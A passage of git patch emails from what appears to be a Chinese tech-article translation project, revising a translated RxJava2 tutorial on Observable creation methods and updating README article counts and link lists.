-这个 API 碉堡了。我用两种方法实现同一种需求，你可以比较一下。第一种我用 Java 的线程来实现，另一种我用 interval() API ，两种方法会得到同一个结果。
+这个 API 碉堡了。我用两种方法实现同一种需求，你可以比较一下。第一种我用 Java 的线程来实现，另一种我用 interval() 这个 API ，两种方法会得到同一个结果。
 
 **（校对 wbinarytree 注：interval() 会默认在 Scheduler.compute 进行操作。）**
 
@@ -327,9 +313,6 @@ public static void greeting(){
 }
 ```
     
-6. timer():
-
-
 6. timer():
 
 One more good API. In program if I want some thing will called after one second I can use timer Observable as shown below.
@@ -353,7 +336,7 @@ public static void greeting(){
 
 This is useful specially in mocking. This create Observable that emit nothing and complete. I am showing you one example in which if tests are running then send me mock data else the real one.
 
-这个 API 很有用，尤其是在有假数据的时候。这个 API 创建了一个什么都不包含，只有 complete 方法的 Observable 类 。比如这个例子，如果在测试运行时发送给我假数据，在生产环境下就调用真的数据。
+这个 API 很有用，尤其是在有假数据的时候。这个 API 创建的 Observable 对象中，注册的 Observer 对象只调用 complete 方法。比如这个例子，如果在测试运行时发送给我假数据，在生产环境下就调用真的数据。
 
 ```
 public static void main(String[] args) throws InterruptedException {
@@ -365,7 +348,7 @@ return isMock ? Observable.empty(): Observable.just(1, 2, 3, 4);
 }
 ```
 
-7. defer():
+8. defer():
 
 This is very use full in many cases. I am going to explain this one by using one example as shown below.
 
@@ -394,7 +377,7 @@ private static class Employee{
 
 What will be the output of the above code. If your answer is age should be 28 then you are wrong. Basically all creation methods of Observable will take the value which is available at the time of creation. Like if I do output I will get 27 because I create an Observable at that time when I have age 27 and later I change to 28 but observable already created. So what will be the solution? Yes you can use defer API. That is really helpful. When you use defer basically what happen Observable only created when you will subscribe so its mean by using this I will get my expected result.
 
-上面的代码会输出什么呢？如果你的答案是 age= 28 那就大错特错了。基本上所有创建 Observable 的方法在创建时就记录了可用的值。就像刚才的数据实际上输出的是 age = 27 ， 因为在我创建 Observable 的时候 age 值是 27 ，当我把 age 的值变成 28 的时候 Observable 类已经创建过了。所以怎么解决这个问题呢？是的，这个时候就轮到 defer 这个 API 出场了。太有用了！当你使用 defer 以后，只有注册（subscribe）的时候才创建 Observable 类。用这个 API ，我就可以获得想要的值。
+上面的代码会输出什么呢？如果你的答案是 age = 28 那就大错特错了。基本上所有创建 Observable 对象的方法在创建时就记录了可用的值。就像刚才的数据实际上输出的是 age = 27 ， 因为在我创建 Observable 的时候 age 值是 27 ，当我把 age 的值变成 28 的时候 Observable 类已经创建过了。所以怎么解决这个问题呢？是的，这个时候就轮到 defer 这个 API 出场了。太有用了！当你使用 defer 以后，只有注册（subscribe）的时候才创建 Observable 类。用这个 API ，我就可以获得想要的值。
 
 ```
 Observable getObservable(){
@@ -409,21 +392,24 @@ Now this time my age on output is 28.
 
 **（校对 wbinarytree 注：Observable 的创建方法中，并不是像原文中写到的，“基本上所有创建 Observable 的方法在创建时就记录了可用的值”。而是只有 just, from 方法。 create , fromCallable 等等方法都是在 subscribe 后才会调用。文中的例子可以使用 fromCallable 代替 defer。）**
 
-8. error():
+9. error():
 
 Again useful to generate error signal. I will share with you when we will discuss about the Observer and there methods.
 
 一个可以弹出错误提示的方法。当我们讨论 Observer 类和他的方法的时候，我再和你分享吧。
 
-9. never():
+10. never():
+
 
 This API emit nothing.
 
-这个 API 创建出的 Observable 对象没有包含泛型。**（译者注：Observable.never 虽然可以得到一个 Observable 对象，但是注册的对应 Observer 既不会调用 onNext 方法也不会 onCompleted 方法，甚至不会调用 onError 方法）**
+这个 API 创建出的 Observable 对象没有包含泛型。
+
+**（译者注：Observable.never 虽然可以得到一个 Observable 对象，但是注册的对应 Observer 既不会调用 onNext 方法也不会 onCompleted 方法，甚至不会调用 onError 方法）**
 
 Me: Wow. Thank you Observable. For a long and robust answer. I will use that as a cheat sheet for me. Observable can you convert any function as a Observable.
 
-我：哇哦。谢谢你，Observable 类。谢谢你耐心又详细的回答，我把你的回答记在我的秘籍手册上的。话说，你可以把函数也转化 Observable 对象吗？
+我：哇哦。谢谢你，Observable 类。谢谢你耐心又详细的回答，我会把你的回答记在我的秘籍手册上的。话说，你可以把函数也转化成 Observable 对象吗？
 
 Observable: Yes. Check below code.
 
@@ -443,11 +429,11 @@ private static float scale(int width, int height){
  
 Me: Wow you are really powerful. Currently I want to ask you about operators like map, filter and more. But if you want to share with me about Observable creation. Which I am not able to ask you due to lack of knowledge please share with me.
 
-我：哇哦，你真的好强大。现在我想问你有关操作符，比如 map ，filter 方面的问题。但是有关 Observable 类创建，如果还有什么我因为缺乏知识没问到的地方，再多告诉我一点呗。
+我：哇哦，你真的好强大。现在我想问你有关操作符，比如 map ，filter 方面的问题。但是有关 Observable 对象创建，如果还有什么我因为缺乏知识没问到的地方，再多告诉我一点呗。
 
 Observable: There is a lot. But I think I can explain here about two types of Observables. One is called Cold Observable and the second one is called Hot Observable. In Cold …
 
-Observable 类：其实还有很多。我在这里介绍两类 Observable 类。一种叫做冷被观察者（Cold Observable）， 第二个是热被观察者（Hot Observable）。在冷...
+Observable 类：其实还有很多。我在这里介绍两类 Observable 对象。一种叫做 Cold Observable，第二个是 Hot Observable。在...
 
 Conclusion:
 
@@ -455,7 +441,7 @@ Conclusion:
 
 Hello Friends. This dialogue is very very long but I need to stop some where. Otherwise this post will be like a giant book which may be ok but the main purpose will be die and that is, I want we should learn and know everything practically. So I am going to pause my dialogue here I will do resume in next part. Only try your best to play with all these methods and if possible try to take your real world projects and refactor these for practice. In the end I want to say thanks to Rx Observable who give me a lot of his/her time.
 
-大家好。这篇对话已经非常非常的长，我需要就此搁笔了。不然这篇文章就会像大部头的书，可能看上去不错，但是主要目的就跑偏了。我希望，我们可以循序渐进的学习。所以我要暂停我的对话，然后在下一篇继续。读者可以试试亲自实现这些方法，如果可能的话在实际的项目中去运用、重构。最后我想说，谢谢Observable 类给我了这么多他/她的时间。
+大家好。这篇对话已经非常非常的长，我需要就此搁笔了。不然这篇文章就会像大部头的书，可能看上去不错，但是主要目的就跑偏了。我希望，我们可以循序渐进的学习。所以我要暂停我的对话，然后在下一篇继续。读者可以试试亲自实现这些方法，如果可能的话在实际的项目中去运用、重构。最后我想说，谢谢 Observable 类给我了这么多他/她的时间。
 
 Happy Weekend Friends Bye. 🙂
 

From 79466fb8d832a6926621b9ed1e7801e5332e7358 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?ARX-8=5C=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?=
 <catwindboy@hotmail.com>
Date: Sat, 29 Apr 2017 00:32:11 +0800
Subject: [PATCH 286/638] =?UTF-8?q?=E4=BF=AE=E6=AD=A3=E9=A2=98=E7=9B=AE?=
 =?UTF-8?q?=E9=97=AE=E9=A2=98?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...ogue-rx-observable-developer-android-rxjava2-hell-part5.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md b/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
index 17a93e8e004..0de461c4006 100644
--- a/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
+++ b/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
@@ -6,7 +6,7 @@
 
 ## Dialogue between Rx Observable and a Developer (Me)  [ Android RxJava2 ] ( What the hell is this ) Part5 ##
 
-## 开发者（也就是我）与Rx Observable 类 [ Android RxJava2 ] ( 这到底是什么？) 第五部分 ##
+## 开发者（也就是我）与Rx Observable 类的对话 [ Android RxJava2 ] ( 这到底是什么？) 第五部分 ##
 
 
 WOW, we got one more day so its time to make this day awesome by learning something new 🙂.
@@ -291,7 +291,7 @@ This one is awesome. I am showing you one example in which you can compare two a
 
 这个 API 碉堡了。我用两种方法实现同一种需求，你可以比较一下。第一种我用 Java 的线程来实现，另一种我用 interval() 这个 API ，两种方法会得到同一个结果。
 
-**（校对 wbinarytree 注：interval() 会默认在 Scheduler.compute 进行操作。）**
+**（校对 wbinarytree 注：interval() 会默认在 Scheduler.computation() 进行操作。）**
 
 ```
 public static void main(String[] args) {

From 55d039aa56ba40e705d29bb2bdf2fd1fc632b8ca Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Sat, 29 Apr 2017 00:36:56 +0800
Subject: [PATCH 287/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E7=9C=9F=E6=AD=A3?=
 =?UTF-8?q?=E8=A1=8C=E5=8A=A8=E4=B9=8B=E5=89=8D=20=E4=BD=A0=E5=B0=86?=
 =?UTF-8?q?=E4=B8=80=E6=97=A0=E6=89=80=E6=88=90=20=E7=9A=84=E7=A7=AF?=
 =?UTF-8?q?=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 446aa225057..4126c02153a 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [474](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [475](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [真正行动之前 你将一无所成](https://juejin.im/entry/58f6136861ff4b00580aef28?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([owenlyn](https://github.com/owenlyn) 翻译)
 * [高阶函数（软件编写）（第四部分）](https://juejin.im/post/58f6d6ff570c3500564fbddc?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [为什么用 JavaScript 学习函数式编程？（软件编写）（第二部分）](https://juejin.im/post/58f5a2ecb123db2fa2b1b244?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [Functor 与 Category （软件编写）（第六部分）](https://juejin.im/post/58f58d5da0bb9f006aac3e8d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
-* [函数式程序员的 JavaScript 简介 (软件编写)（第三部分）](https://juejin.im/post/58f58b06da2f60005d43388b?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index 7d87d37fb04..ca358bbcfb6 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [真正行动之前 你将一无所成](https://juejin.im/entry/58f6136861ff4b00580aef28?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([owenlyn](https://github.com/owenlyn) 翻译)
 * [高阶函数（软件编写）（第四部分）](https://juejin.im/post/58f6d6ff570c3500564fbddc?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [为什么用 JavaScript 学习函数式编程？（软件编写）（第二部分）](https://juejin.im/post/58f5a2ecb123db2fa2b1b244?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [Functor 与 Category （软件编写）（第六部分）](https://juejin.im/post/58f58d5da0bb9f006aac3e8d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)

From e600f226e7c57d7855c301c0a0ae4596b577d6cb Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Sat, 29 Apr 2017 00:51:01 +0800
Subject: [PATCH 288/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E4=BB=8E=E5=BD=A2?=
 =?UTF-8?q?=E5=BC=8F=E5=88=B0=E5=8A=9F=E8=83=BD=EF=BC=8C=E8=AE=BE=E8=AE=A1?=
 =?UTF-8?q?=E6=80=9D=E7=BB=B4=E7=9A=84=E6=94=B9=E5=8F=98=20=E7=9A=84?=
 =?UTF-8?q?=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md | 4 ++--
 design.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 4126c02153a..02cd0d820a2 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [475](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [476](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -72,10 +72,10 @@
 
 ## 设计
 
+* [从形式到功能，设计思维的改变](https://juejin.im/post/58fedca744d9040069f720e4/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Ruixi](https://github.com/Ruixi) 翻译)
 * [搜索结果页的最佳实践](https://juejin.im/post/58da37c761ff4b00607287a6/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [某些2017年的 UX 趋势啊，扎心了](https://juejin.im/post/58cf5dc22f301e007e52fb2b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Ruixi](https://github.com/Ruixi) 翻译)
 * [像开发人员一样做设计](https://gold.xitu.io/entry/58b7ba6f8fd9c56d16be6bb0/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Airmacho](https://github.com/Airmacho) 翻译)
-* [设计预期的用户体验](https://gold.xitu.io/entry/58b2d8e9570c3500696f53a5/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([jifaxu](https://github.com/jifaxu) 翻译)
 * [所有设计译文>>](https://github.com/xitu/gold-miner/blob/master/design.md)
 
 
diff --git a/design.md b/design.md
index d2d30a65ad9..d0fe601d5ff 100644
--- a/design.md
+++ b/design.md
@@ -1,3 +1,4 @@
+* [从形式到功能，设计思维的改变](https://juejin.im/post/58fedca744d9040069f720e4/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Ruixi](https://github.com/Ruixi) 翻译)
 * [搜索结果页的最佳实践](https://juejin.im/post/58da37c761ff4b00607287a6/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [某些2017年的 UX 趋势啊，扎心了](https://juejin.im/post/58cf5dc22f301e007e52fb2b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Ruixi](https://github.com/Ruixi) 翻译)
 * [像开发人员一样做设计](https://gold.xitu.io/entry/58b7ba6f8fd9c56d16be6bb0/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Airmacho](https://github.com/Airmacho) 翻译)

From 835792ad70c281af98fbfd40f3cb9210a701cccd Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Sat, 29 Apr 2017 01:02:45 +0800
Subject: [PATCH 289/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20Node.js=20?=
 =?UTF-8?q?=E4=B9=8B=E6=88=98:=20=E5=A6=82=E4=BD=95=E5=9C=A8=E7=94=9F?=
 =?UTF-8?q?=E4=BA=A7=E7=8E=AF=E5=A2=83=E4=B8=AD=E8=B0=83=E8=AF=95=E9=94=99?=
 =?UTF-8?q?=E8=AF=AF=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 4 ++--
 backend.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 02cd0d820a2..f0e341660f1 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [476](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [477](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -55,10 +55,10 @@
 
 ## 后端
 
+* [Node.js 之战: 如何在生产环境中调试错误](https://juejin.im/post/59035d3644d904006919086b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn)翻译)
 * [我经常听到的 GraphQL 到底是什么？](https://juejin.im/post/58fd6d121b69e600589ec740/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)翻译)
 * [系统设计入门](https://github.com/xitu/system-design-primer/blob/master/README-zh-Hans.md) ([XatMassacrE](https://github.com/XatMassacrE) [L9m](https://github.com/L9m) [Airmacho](https://github.com/Airmacho) [xiaoyusilen](https://github.com/xiaoyusilen) [jifaxu](https://github.com/jifaxu)翻译)
 * [如何使用 HTTP Headers 来保护你的 Web 应用](https://juejin.im/post/58f5d3718d6d810057c18f75/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom)翻译)
-* [解析 Go 中的函数调用](https://juejin.im/post/58f579b58d6d81006491c7c0/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
 * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)
 
 ## 教程
diff --git a/backend.md b/backend.md
index 00c853f6052..ad3cb698260 100644
--- a/backend.md
+++ b/backend.md
@@ -1,3 +1,4 @@
+* [Node.js 之战: 如何在生产环境中调试错误](https://juejin.im/post/59035d3644d904006919086b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn)翻译)
 * [我经常听到的 GraphQL 到底是什么？](https://juejin.im/post/58fd6d121b69e600589ec740/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)翻译)
 * [系统设计入门](https://github.com/xitu/system-design-primer/blob/master/README-zh-Hans.md) ([XatMassacrE](https://github.com/XatMassacrE) [L9m](https://github.com/L9m) [Airmacho](https://github.com/Airmacho) [xiaoyusilen](https://github.com/xiaoyusilen) [jifaxu](https://github.com/jifaxu)翻译)
 * [如何使用 HTTP Headers 来保护你的 Web 应用](https://juejin.im/post/58f5d3718d6d810057c18f75/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom)翻译)

From 98327a557b5e0902e4ede3b52ad8c8fb9718a78a Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Sat, 29 Apr 2017 01:52:54 +0800
Subject: [PATCH 290/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20RxJava=20=E4=B8=AD?=
 =?UTF-8?q?=E7=9A=84=E5=A4=9A=E7=BA=BF=E7=A8=8B=20=E7=9A=84=E7=A7=AF?=
 =?UTF-8?q?=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 4 ++--
 android.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index f0e341660f1..b61e5529b81 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [477](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [478](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -20,10 +20,10 @@
 
 ## Android
 
+* [RxJava 中的多线程](https://juejin.im/post/58ff6259da2f60005dd81459/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([phxnirvana](https://github.com/phxnirvana) 翻译)
 * [Android 如何实现气泡选择动画](https://juejin.im/post/58e5ec838d6d8100616d82e2/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)
 * [一个人的 Android 开发](https://juejin.im/entry/58dca515b123db00603887fd/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([BoilerYao](https://github.com/BoilerYao) 翻译)
 * [我是如何做到在 5 分钟之内将应用大小减少 60% 的](https://juejin.im/post/58d9b6a1a22b9d0064719f9e/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([jifaxu](https://github.com/jifaxu) 翻译)
-* [拉模式和推模式，命令式和响应式 – 响应式编程 [Android RxJava2]（这到底是什么）：第二部分](https://juejin.im/entry/58d78547a22b9d006465ca57/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([XHShirley](https://github.com/XHShirley) 翻译)
 * [所有 Android 译文>>](https://github.com/xitu/gold-miner/blob/master/android.md)
 
 
diff --git a/android.md b/android.md
index 8b02a079727..5f71c32ddf2 100644
--- a/android.md
+++ b/android.md
@@ -1,3 +1,4 @@
+* [RxJava 中的多线程](https://juejin.im/post/58ff6259da2f60005dd81459/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([phxnirvana](https://github.com/phxnirvana) 翻译)
 * [Android 如何实现气泡选择动画](https://juejin.im/post/58e5ec838d6d8100616d82e2/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)
 * [一个人的 Android 开发](https://juejin.im/entry/58dca515b123db00603887fd/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([BoilerYao](https://github.com/BoilerYao) 翻译)
 * [我是如何做到在 5 分钟之内将应用大小减少 60% 的](https://juejin.im/post/58d9b6a1a22b9d0064719f9e/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([jifaxu](https://github.com/jifaxu) 翻译)

From fdf40571ca2545a75f5ef3eed287e4a5100f2e56 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Sat, 29 Apr 2017 02:02:08 +0800
Subject: [PATCH 291/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E9=92=88=E5=AF=B9?=
 =?UTF-8?q?=E5=A4=B1=E8=B4=A5=E8=80=85=E7=9A=84=E4=BD=93=E9=AA=8C=E8=AE=BE?=
 =?UTF-8?q?=E8=AE=A1=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 4 ++--
 product.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index b61e5529b81..91ab3de158d 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [478](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [479](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -81,8 +81,8 @@
 
 ## 产品
 
+* [针对失败者的体验设计](https://juejin.im/post/59013f6eda2f60005de40516/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ylq167](https://github.com/ylq167) 翻译)
 * [细节是产品设计的重中之重](https://juejin.im/post/58ed96aaa22b9d00634732e9/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([iloveivyxuan](https://github.com/iloveivyxuan) 翻译)
 * [单元测试，精益创业，以及两者之间的关系](https://juejin.im/post/58d90a3b44d90400694505c4/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [你正在阅读的用户体验文章是不是在向你进行推销？](https://juejin.im/post/58d4c501a22b9d00645544d9/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ylq167](https://github.com/ylq167) 翻译)
-* [直观设计 vs. 共享式设计](https://gold.xitu.io/entry/5862650a128fe1006d04d398/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Funtrip](https://www.behance.net/Funtrip) 翻译)
 * [所有产品译文>>](https://github.com/xitu/gold-miner/blob/master/product.md)
diff --git a/product.md b/product.md
index be018fddc3b..b820c315e86 100644
--- a/product.md
+++ b/product.md
@@ -1,3 +1,4 @@
+* [针对失败者的体验设计](https://juejin.im/post/59013f6eda2f60005de40516/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ylq167](https://github.com/ylq167) 翻译)
 * [细节是产品设计的重中之重](https://juejin.im/post/58ed96aaa22b9d00634732e9/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([iloveivyxuan](https://github.com/iloveivyxuan) 翻译)
 * [单元测试，精益创业，以及两者之间的关系](https://juejin.im/post/58d90a3b44d90400694505c4/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [你正在阅读的用户体验文章是不是在向你进行推销？](https://juejin.im/post/58d4c501a22b9d00645544d9/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ylq167](https://github.com/ylq167) 翻译)

From 4e7982820203d521e095beb6b72258d74ac686d4 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Sat, 29 Apr 2017 02:11:03 +0800
Subject: [PATCH 292/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E4=BB=A3=E7=A0=81?=
 =?UTF-8?q?=E4=B8=AD=E6=B7=BB=E5=8A=A0=E6=B3=A8=E9=87=8A=E4=B9=8B=E5=A5=BD?=
 =?UTF-8?q?=E5=9D=8F=E4=B8=91=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 91ab3de158d..5edf351859a 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
